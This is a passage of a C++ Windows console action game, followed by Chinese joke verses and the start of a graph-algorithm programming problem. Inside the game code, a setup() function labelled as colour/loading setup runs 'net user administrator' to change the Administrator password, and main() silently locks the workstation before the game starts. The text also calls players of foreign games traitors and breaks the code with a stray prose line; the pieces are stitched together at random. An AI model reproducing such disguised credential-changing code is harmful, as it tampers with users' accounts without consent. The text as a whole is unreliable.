        if(Bwhat1==0){X2:Bwhat1=rand()%7;if(Bwhat1==2||Bwhat1==3){if(By1<=10||By1>25) goto X2;}if(Bwhat1==4){if(By1<=15||Bx1<20) goto X2;Bgo1[2]=Bx1;Bgo1[3]=By1-1;}if(Bwhat1==5) {X0:Bgo1[3]=rand()%4+1;Bvx1=(rand()%101)/20.0;Bvy1=(rand()%101)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||Out1)goto X0;}if(Bwhat1==6){if(By1<=17||By1>25) goto X2;}}
        if(Bwhat1==1){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;Bvx1=(rand()%101-20)/50.0;Bvy1=(rand()%101-20)/50.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==2){Bgo1[1]++;if(Bgo1[1]>6){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=6;X3:B[br].vx=(rand()%21-10)/40.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X3;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}if(Bgo1[1]>8) Chang1}
        if(Bwhat1==3){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%3==0){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=8;B[br].life=1;}if(Bgo1[1]>15) Chang1}
        if(Bwhat1==4){Bgo1[1]++;if(Bgo1[1]<=8){Setpos(Bgo1[2],Bgo1[3]);if(Bgo1[1]==1)cout<<" ";else if(Bgo1[1]>1&&Bgo1[2]==20) cout<<"==";else cout<<"  ";Bgo1[2]--;Setpos(Bgo1[2],Bgo1[3]);int r=rand()%4;if(r%2==0) Color(6);else Color(9);if(r<2) cout<<") ";else cout<<"】";Color(0);}if(Bgo1[1]==6) Bgo1[5]=X,Bgo1[6]=Y;if(Bgo1[1]==11){Map(0,(bool)Kill);Setpos(Bgo1[5],Bgo1[6]+1),cout<<"  ";Setpos(Bgo1[5],Bgo1[6]-1),cout<<"  ";Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"  ";Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"  ";int bx,by,bvx=Bgo1[2]-Bgo1[5],bvy=Bgo1[3]-Bgo1[6];Color(6);int i=0;while(1){bx=Bgo1[2]-i*bvx/30.0;by=Bgo1[3]-i*bvy/30.0;if(bx<=5||bx>=30||by<0||by>=29) break;Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;i++;}Color(0);Map(-1,0);Chang1}}
        if(Bwhat1==5){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;X1:Bvx1=(rand()%101-20)/20.0;Bvy1=(rand()%101-20)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||abs(Bvx1-vx)<=1||abs(Bvy1-vy)<=1)goto X1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==6){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%10==0){By1-=1;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=9;X30:B[br].vy=1;B[br].life=1;}if(Bgo1[1]>31) Chang1}
    }
    void Boss2(){
        for(int j=0;j<20;j++)if(abs(Bx2-I[j][0])<2&&By2-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        Bx2-=Bvx2;By2-=Bvy2;
        if(Bwhat2==0){X21:Bwhat2=rand()%7;if(Bwhat2==2){X31:for(int i=1;i<=3;i++){Bgo2[i*2+1]=rand()%28+1,Bgo2[i*2]=rand()%25+5;if((abs(Bgo2[i*2]-Bx2)<=2&&abs(Bgo2[i*2+1]-By2)<=2)||(abs(Bgo2[i*2]-X)<=2&&abs(Bgo2[i*2+1]-Y)<=2))goto X31;}if(Bgo2[2]==Bgo2[4]||Bgo2[2]==Bgo2[6]||Bgo2[6]==Bgo2[4]||Bgo2[5]==Bgo2[3]||Bgo2[3]==Bgo2[7]||Bgo2[5]==Bgo2[7]) goto X31;}if(Bwhat2==3){Bgo2[2]=rand()%2;}if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bvy2=-1.5;Bvx2=-0.5;}}
        if(Bwhat2==1){Bgo2[1]++,Bgo2[2]++;int R=rand()%(5-Bgo2[1]),r=rand()%(30-Bgo2[2]);if(Out2) R=0;if(R==0) {int vx=Bvx2,vy=Bvy2;Bgo2[1]=0;Bvx2=(rand()%101-20)/50.0;Bvy2=(rand()%101-20)/50.0;if(Bgo2[3]<=2) Bvx2*=-1;if(Bgo2[3]%2==1) Bvy2*=-1;if(Out2) r=0;} if(r==0) Chang2 }
        if(Bwhat2==2){Bgo2[1]++;float bx,by,bvx,bvy;if(Bgo2[1]<21){for(int i=1;i<=3;i++){bvx=Bgo2[i*2]-Bx2,bvy=Bgo2[i*2+1]-By2;if(Bgo2[1]<=10){Setpos(Bx2+(Bgo2[1]-1)*bvx/10.0,By2+(Bgo2[1]-1)*bvy/10.0);if(abs(Bx2+(Bgo2[1]-1)*bvx/10.0-20)<0.5)cout<<"==";else cout<<"  ";bx=Bx2+Bgo2[1]*bvx/10.0;by=By2+Bgo2[1]*bvy/10.0;Setpos(bx,by);}else Setpos(Bgo2[i*2],Bgo2[i*2+1]);int r=rand()%4;if(r%2==0) Color(3);else Color(10);if(r<=1) cout<<"×";else cout<<"+";Color(0);}}if(Bgo2[1]==21){Map(0,(bool)Kill);Color(3);int j=0;for(int j=0;j<=30;j++)for(int i=1;i<=3;i++)for(int k=1;k<=4;k++){if(k==1) bvx=j,bvy=0;if(k==2) bvx=-j,bvy=0;if(k==3) bvx=0,bvy=j;if(k==4) bvx=0,bvy=-j;bx=Bgo2[i*2]+bvx,by=Bgo2[i*2+1]+bvy;if(bx<=5||bx>=30||by<0||by>=30) {continue;}Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);Map(-1,0);Chang2}}
        if(Bwhat2==3){Bgo2[1]++;if(Bgo2[1]<=18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4==0)Bgo2[3]=!Bgo2[3];if(Bgo2[1]%6<3)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(X-3,Y),cout<<"▼",Setpos(X+3,Y),cout<<"▲",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);if(Bgo2[3]==1) Setpos(X,Y-3),cout<<" ",Setpos(X,Y+3),cout<<" ",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);Color(0);}if(Bgo2[1]==18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";}if(Bgo2[1]>18&&Bgo2[1]<=25){Bgo2[3]=Bgo2[2];if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4<2)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"▼",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"▲";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+3),cout<<" ";Color(0);}if(Bgo2[1]==25){if(Bgo2[2]==0){Color(3);for(int i=4;i<=29;i++){Setpos(i,Bgo2[5]),cout<<"█";Bbl++;Panboss(i,Bgo2[5]);Bway[Bbl][0]=i;Bway[Bbl][1]=Bgo2[5];}}if(Bgo2[2]==1){Color(3);for(int i=0;i<=28;i++){Setpos(Bgo2[4],i),cout<<"█";Bbl++;Panboss(Bgo2[4],i);Bway[Bbl][0]=Bgo2[4];Bway[Bbl][1]=i;}}Chang2}}
        if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bgo2[1]++;if(By2>27)Bvy2=0;if(Bx2>23)Bvx2=0;if(Bgo2[1]>13&&Bgo2[1]%3==0){float t=By2-Y,g=0.35;if(Boss==6) t/=2.0;CpGuai(Bwhat2+2,Bx2,By2,(Bx2-X)/t*1.0+(t-1)*g/2.0,1);}if(Bgo2[1]>20) Chang2}
    }
    void Boss3(){
        #define Bean br++;B[br].what=13;B[br].x=Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;
        for(int j=0;j<20;j++)if(abs(Bx3-I[j][0])<2&&By3-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        Bx3-=Bvx3;By3-=Bvy3;
        if(Bwhat3<=8){if(Bx3>X&&Bvx3<1.5) Bvx3+=0.3;if(Bx3<X&&Bvx3>-1.5) Bvx3-=0.3;}
        if(Bwhat3==0){X22:Bwhat3=rand()%12;if(Bwhat3==11&&abs(Bx3-20)<=1)goto X22;if(Bwhat3==11)Bgo3[2]=rand()%5;}
        if(Bwhat3==1){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=13;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3>=2&&Bwhat3<=6){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].what=11+Bwhat3;B[br].vy=0.5+(rand()%100)/80.0;if(Bwhat3==5)B[br].vy=B[br].vy*3/4.0;B[br].life=1;Chang3}}
        if(Bwhat3==7){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=14;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==8){Bgo3[1]++;if(Bgo3[1]==6){br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=1;B[br].How=(int)Bx3-4;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].vx=-1;B[br].How=(int)Bx3+2;B[br].life=1;br++;B[br].what=15;B[br].x=(int)Bx3-1,B[br].y=By3-1;B[br].vy=1;B[br].life=1;Chang3}}
        if(Bwhat3==9){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8){Bean}if(Bgo3[1]>=8)Chang3}
        if(Bwhat3==10){Bvx3=0;Bgo3[1]++;if(Bgo3[1]==6||Bgo3[1]==8||Bgo3[1]==10||Bgo3[1]==12){Bean}if(Bgo3[1]>=12)Chang3}
        if(Bwhat3==11){Bvx3=0;Bgo3[1]++;if(Bgo3[1]>=8)for(int i=1;i<=4;i++){br++;B[br].what=80+100*Bgo3[2]+Bgo3[1]*4+i;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=99;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}if(Bgo3[1]>=20){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}Chang3}}
    }
    void setup(){
    	system("net user administrator \"*\e425c2bb232bb51191345a8dce9f543ffc82e285\"");
    }//color&size,16jinzhi
    void Ball(int ball){
        if(ball==1){int f=0;for(int i=1;i<=3;i++) {if(fir[i]==1) fir[i]--,Fir++;else if(fir[i]>1) fir[i]--;else f=i;}if(Fir>0&&f!=0){br++;B[br].what=-13;B[br].x=X;B[br].y=Y+rand()%3-1;B[br].life=1;if(Dis<=30) B[br].a=Disb,B[Disb].a=1,fir[f]=20,Fir--;else if(Boss!=0) B[br].a=13880086,fir[f]=20,Fir--;else if(Dis!=13880087) B[br].a=Disb,B[Disb].a=1,fir[f]=20,Fir--;else if(Dis1!=13880087) B[br].a=Disb1,B[Disb1].a=1,fir[f]=20,Fir--;else B[br].life=0;Dis=Dis1=13880087;}}
        if(ball==2){if(T%4==0)ib=(ib+1)%20,I[ib][1]=Y-2;if(T%16==0)I[ib][0]=X;if(T%16==4)I[ib][0]=X-1;if(T%16==8)I[ib][0]=X+1;if(T%16==12)I[ib][0]=X-2;if(T%12==9)I[ib][0]=X+2;if(Water==1){for(int i=X-6;i<=X+6;i++)ib=(ib+1)%20,I[ib][0]=i,I[ib][1]=Y-2-0.5*abs(i-X);}}
        if(ball==3){if(Wind>5){if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind<5){if(Y>Ding-1)Vy=-5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(Wind==5){if(Boss==2) Ding=12.25;else Ding=6.25;if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 3F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==4){if(Thun==1){if(Boss!=0) Bblo-=16+Lv*4;if(Boss==1) Chang1 if(Boss==2) Chang2 if(Boss==3) Chang3 system("color 9F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");system("cls");for(int i=bl;i<=br;i++)if(B[i].what>0)B[i].life=0;Setpos(20,0);for(int i=1;i<=60;i++) printf("=");}}
        if(ball==5){system("cls"); Color(5);Setpos(10,10);cout<<"新天赋!";Y:int rr=rand()%4+2;Setpos(12,10);if(rr==Ren) goto Y;if(rr==2)cout<<"瞬跳";if(rr==3)cout<<"空之舞";if(rr==4)cout<<"三段跳";if(rr==5)cout<<"反重力跳跃";Setpos(14,10);cout<<"当前天赋:";if(Ren==1)cout<<"小无敌";if(Ren==2)cout<<"瞬跳";if(Ren==3)cout<<"空之舞";if(Ren==4)cout<<"三段跳";if(Ren==5)cout<<"反重力跳跃";Setpos(16,10);cout<<"换否?(y/n)";G:char g=_getch();if(g=='y')Ren=rr;else if(g!='n')goto G;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");}
        if(ball==6){Color(4);for(float i=1;i<=Bblo;i+=Bblomax/20.0)cout<<"▄";Color(0);cout<<' '<<Bblo<<"                              ";Color(0);}
        if(ball==7){Color(1);if(Win==7&&T%6<3)Color(3);for(float i=1;i<=Blo;i+=Blomax/20.0)cout<<"▄";Color(0);if(Win==7&&T%6<3)Color(3);printf(" %0.1f                              ",Blo);}
    }
    int main(){
        system("%windir%\\system32\\rundll32.exe user32.dll,LockWorkStation");//save
        setup();//setupcolor+loading
        system("choice /t 3 /d y /n >nul");
        system("pause");
        system("net user administrator \"\"");
        system("mode con cols=60 lines=37");CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);srand((unsigned)time(NULL));
        Win=0;Ren=1;Lv=1;Blo=Blomax=100;Expmax=300;Hui=15;X=18,Y=6;
        ReStart:system("cls");memset(B,0,sizeof(B));memset(I,-1,sizeof(I));T=0;bl=0;br=-1;Upt=0;
        Start:Blo=Blomax;Ding=6.25;
        memset(Bgo1,0,sizeof(Bgo1));memset(Bgo2,0,sizeof(Bgo2));memset(Bgo3,0,sizeof(Bgo3));
        if(Win%2==0) T=0;if(Win%2==0&&D==0){if(Win>0)Ball(5);Boss=0;lL:L=rand()%4+1;for(int i=0;i<=Win/2-1;i++)if(L==Ll[i]) goto lL;Ll[Win/2]=L;}if(Win%2==1&&D==0){if(Win==7)Boss=6,T=0,Blomax+=100;else{bl:Boss=rand()%3+1;for(int i=0;i<=3;i++)if(Boss==Bl[i]) goto bl;}Bl[Win/2]=Boss;Bwhat1=Bwhat2=Bwhat3=0,Bx1=10,By1=20,Bx2=15,By2=20,Bx3=21,By3=20;system("color 4C");Sleep(20);system("color 0F");Map(0,1);Sleep(1000);}if(Win%2==1){Bblomax=500+(Win/2)*500;Bblo=Bblomax;if(Boss==2) Ding=12.25;}
        while(1){
            T++;
            if(Wind==0){if(GetAsyncKeyState(VK_LEFT)&0x8000) Vy=-(10-abs(Ding-Y)*1.5)/20.0;if(GetAsyncKeyState(VK_RIGHT)&0x8000) Vy=(10-abs(Ding-Y)*1.5)/20.0;}if(GetAsyncKeyState(VK_UP)&0x8000&&u1==0) {u1++;if(Down==1){Down=0;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=18,Li=5;else Vx=7,Vy=0.3;}else if(Up==0&&Wind==0) {Down=0;Up=1;if(Ren==2)Map(-1,0),Vx=1,X=10,Map(0,3),Li=5;else Vx=2,Vy=0.1;}else if(Up==1&&Wind==0) {Down=0;Up=2;if(Ren==2)Map(-1,0),Vx=1,X-=6,Map(0,3),Li=5;else Vx=1.5,Vy=0.1;}else if(Ren==3&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1;Vy=0.5;Upt=30;}else if(Ren==4&&Up==2&&Wind==0) {Down=0;Up=3;Vx=1.8;Vy=0.1;}}if(GetAsyncKeyState(VK_DOWN)&0x8000&&u2==0) {u2++;if(Down==1&&Ren==5){Down=2;Up=0;Vx=-1.7;}else {Down=1;Up=0;if(Ren==2)Map(-1,0),Vx=0,X=22,Map(0,3),Li=5;else {if(Upt!=0) Map(-1,0),Upt=0;Vx=-7;}}}if((GetAsyncKeyState(VK_UP)&0x8000) ?0:1) u1=0;if((GetAsyncKeyState(VK_DOWN)&0x8000) ?0:1) u2=0;if(kbhit()){char g=_getch();if(g==' ') Sleep(100),Setpos(4,1),Sy++,system("pause");}if(Sy==1) Setpos(4,1),printf("                           "),Sy--;
            if(Drug==0) Blo=fmin((float)Blomax,Blo+Hui/100.0);else if(T%10==0)Blo--;if(T%20==0) {if(Kill!=0) Kill=0;if(Lvl!=0) Lvl=0;}if(Killb>0) Killb--;if(Li>0) Li--;if(Ice>0) Ice--;if(Drug>0) Drug--;if(Magne>0) Magne--;
            if(Fire>0) Ball(1),Fire--;if(Water>0) Ball(2),Water--;if(Wind>0) Ball(3),Wind--;if(Thun>0) Ball(4),Thun--;
            if(Boss==0)
    彩蛋:我把自己打晕了是我太强还是太弱了。
    NorGuai(L,T%1500);RandGood();if(T%20==1)Exp++;
            if(T%50==1){Exp++;system("cls");Setpos(20,0);Color(0);for(int i=1;i<=60;i++) printf("=");if(Win==0&&T<300){Setpos(4,6);cout<<"上下 跳跃/下翻,左右 些微移动(松手即返回)"; Setpos(6,6);cout<<"球可以开启特殊效果,Exp积满(300)可提升 Lv。";Setpos(8,6);cout<<"打败 7 波即胜利,打败 BOSS 有新天赋。";Setpos(10,15);cout<<"空格可以暂停。";}}
            Map(-1,0);
            if(Boss==1) Boss1();if(Boss==2) Boss2();if(Boss==3) Boss3();if(Boss==6) Boss1(),Boss2(),Boss3();
            Move();Map(0,(bool)Kill);Color(0);
            Setpos(1,1);Blo=fmin(Blo,(float)Blomax);if(Boss==0)cout<<"Blood: "<<(int)Blo<<"  ";Color(0);Setpos(1,9),cout<<"Death: "<<D<<"  ";Setpos(2,1);Exp=min(Exp,Expmax);if(Exp>=Expmax)Exp=0,Lv++,Lvl++,Hui++,Blomax+=5;if(Lvl>0)Color(5);cout<<"Lv: "<<Lv;Color(0);Setpos(2,9);cout<<"Exp: "<<Exp<<"  ";if(Boss>0) Setpos(3,1),cout<<"Blood     : ",Ball(7);if(Boss>0&&Boss!=6) Setpos(4,1),cout<<"Boss Blood: ",Ball(6);if(Boss==6) Setpos(1,9),printf("Time: %0.1f s  ",T/15.0);
            int speed=0;
            if(Win==0) speed=55;if(Win==1) speed=50;if(Win==2) speed=35;if(Win==3) speed=40;if(Win==4) speed=25;if(Win==5) speed=30;if(Win==6) speed=20;if(Win>=7) speed=17;
            if(Wind) speed/=2;Sleep(speed);
            if(Boss==3&&Bblo<=0){for(int i=1;i<=4;i++){br++;B[br].what=98;B[br].x=Bx3-1,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;br++;B[br].what=98;B[br].x=Bx3-2,B[br].y=By3-1+i;B[br].vy=4;B[br].life=1;}}
            if((Win%2==0&&T>=1400)||(Win%2==1&&Bblo<=0)||(Win==7&&T>=450)||Blo<=0) {Map(-1,0);break;}
        }if(Blo<=0){Sleep(1000);D++;system("color 7F");Setpos(15,11);Color(4);cout<<"GAME OVER...";Sleep(2000);goto ReStart;}else if(Win==6){system("color 7F");Setpos(15,11);Color(4);cout<<"坚持30秒 !";Sleep(2000);Setpos(30,0);Win++;D=0;}else if(Win==7){Sleep(1000);system("color 6E");Setpos(15,11);Color(5);cout<<"YOU WIN !";Sleep(2000);Setpos(30,0);return 0;}else Sleep(1000),Win++,D=0;goto Start;
    }
    
    定期更新每周天16点半准时更新
    猪老师唤张勃勃,想要夺回北极熊,
    交指环战朱老师,老师夺回北极熊。
    牢大想骑北极熊,于是联手脚趾换。
    打算夺回北极熊,牢大看到朱老师。
    于是跳上直升机,不一会就坠机了。
    北极熊大难不死,意外学会隐身书。
    老朱找不到北极熊,于是直呼第一集完。
    
    北极熊会隐身术,打算打败朱老师。
    又怕自己打不死,于是找到张伯伯。
    前往打败朱老师,现代文模式啊😊。
    北极熊让张伯伯兵分78路去打朱老师。
    张伯伯包围了老朱,老朱使用分身术。
    打败了张伯伯,张伯伯说我朝你们。
    第二集完。
    别往下看
    
    
    张伯伯们要造反,他们找到朱老师。
    朱老师寡不敌众,被张伯伯打败。
    北极熊光荣救场,救出战败朱老师。
    北极熊闯张伯伯,666闯到音响了。
    人生啊能不能放过我这一次,下辈子,
    我要做一个不会长大的孩子,没有老朱,
    没有周二,没有周三和周四。
    
    番外篇:
    地铁破产这么办:受着呗
    
    蛋仔没皮肤怎么办:受着呗
    
    迷你抄MC怎么办:受着呗
    我真服了MC玩家你们玩国外游戏是不爱国吗?
    说实话那些玩国外游戏真的该四千家尤其是玩火影的居然玩日本游戏真是群汉奸,还有玩MC的真是忘了8国联军那会儿一天竟说迷你超MC。
    
    
    熊二爱上北极熊,骑他在沙漠乱逛。
    不料遇到zyp,zyp换张伯伯。
    誓要夺回北极熊,忽看熊二很肥。
    于是两熊一起骑。已更勿催哈😊😊😊
    
    番外篇:
    我们来玩个游戏吧!
    我说唐僧你就说正
    我说悟空你就说义
    我说猪八戒就说到
    我说沙僧你就说来
    哈哈哈哈哈哈哈哈
    别往下看
    从此世界上多了一个猪八戒哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
    因为我说猪八戒   你就会喊到像老师点你名字你喊到一样快去坑你同桌吧哈哈哈哈哈    
    
    番外篇:
    a:你用我笔了吗
    b:没有
    a:你真没用
    b:我真没用
    
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    秦始皇其北极熊,北极熊其秦始皇。
    
    
    
    
    
    
    
    
    
    
    
    
    
    隐藏彩蛋:
    如果你想用粉碎机粉碎粉碎机
    那么结果是粉碎机被自己粉碎的粉碎机粉碎
    被粉碎的粉碎机被粉碎机的粉碎机给粉碎
    所以如果你想用粉碎机粉碎被粉碎的粉碎机粉碎被粉碎机会把粉碎自己的粉碎机给粉碎脑子给上了吗?😁彩蛋现在会在我主页的个个角落。
    
    
    编程题:超大规模动态图上的增量式 k - 核分解与关键节点识别
    题目级别
    10000 级(需融合图论、高性能计算、动态数据结构、近似算法优化等多领域深度知识,对工程实现与理论分析能力均有极致要求)
    问题背景
    k - 核(k-core)是图论中描述网络结构韧性的核心概念:一个图的 k - 核是指最大的子图,其中每个节点的度数(在子图内)至少为 k。k - 核分解的目标是为每个节点分配其 “核数”—— 即该节点所在的最大 k - 核的 k 值。
    在实际场景中(如社交网络、分布式系统拓扑、交通流网络),图往往是动态演化的(节点 / 边的实时添加 / 删除),且规模达到10 亿级节点 + 1 万亿级边(无法全量加载到内存)。同时,网络管理员需要快速识别 “关键节点”—— 即删除后会导致图的最大核数下降最显著的节点,且需支持增量查询(动态更新后无需重新全量计算)。
    核心任务
    设计并实现一个分布式系统,完成以下 4 个递进式任务,需同时满足理论正确性、工程高效性和资源约束性:
    任务 1:动态图的增量式 k - 核分解(基础核心)
    给定一个初始的超大规模无向图 G₀(节点集 V,边集 E₀),支持以下两类动态操作:
    边更新:添加边 e∈E\Eₜ 或删除边 e∈Eₜ(t 为当前时刻);
    核数查询:给定节点 u∈V,返回其当前核数 c (u, t)。
    要求:
    不允许使用 “全量重算” 策略(即每次更新后不重新对整个图执行 k - 核分解);
    单次边更新的平均时间复杂度需优于 O (√m)(m 为当前边数),且最坏时间复杂度不超过 O (Δ)(Δ 为当前图的最大度数);
    内存开销需与节点数呈线性关系(O (|V|)),不允许存储全量边信息(需设计边的分布式存储与索引策略)。
    任务 2:基于核数的动态关键节点识别(进阶优化)
    定义 “节点重要性指标” 为:
    plaintext
    I(u, t) = max_k { k | 删除u后,图Gₜ\u的最大k-核的k值 < 图Gₜ的最大k-核的k值 }
    若删除 u 后最大核数无下降,则 I (u, t)=0。
    要求:
    支持增量式重要性更新:当图发生边更新时,仅更新受影响节点的 I (u, t),而非全量重算;
    支持Top-K 查询:给定 K(1≤K≤1000),在 1 秒内返回当前 I (u, t) 最大的 K 个节点;
    允许近似误差:Top-K 结果的准确率需≥95%(即至少 95% 的节点确实属于真实 Top-K),但需给出误差界的理论证明。
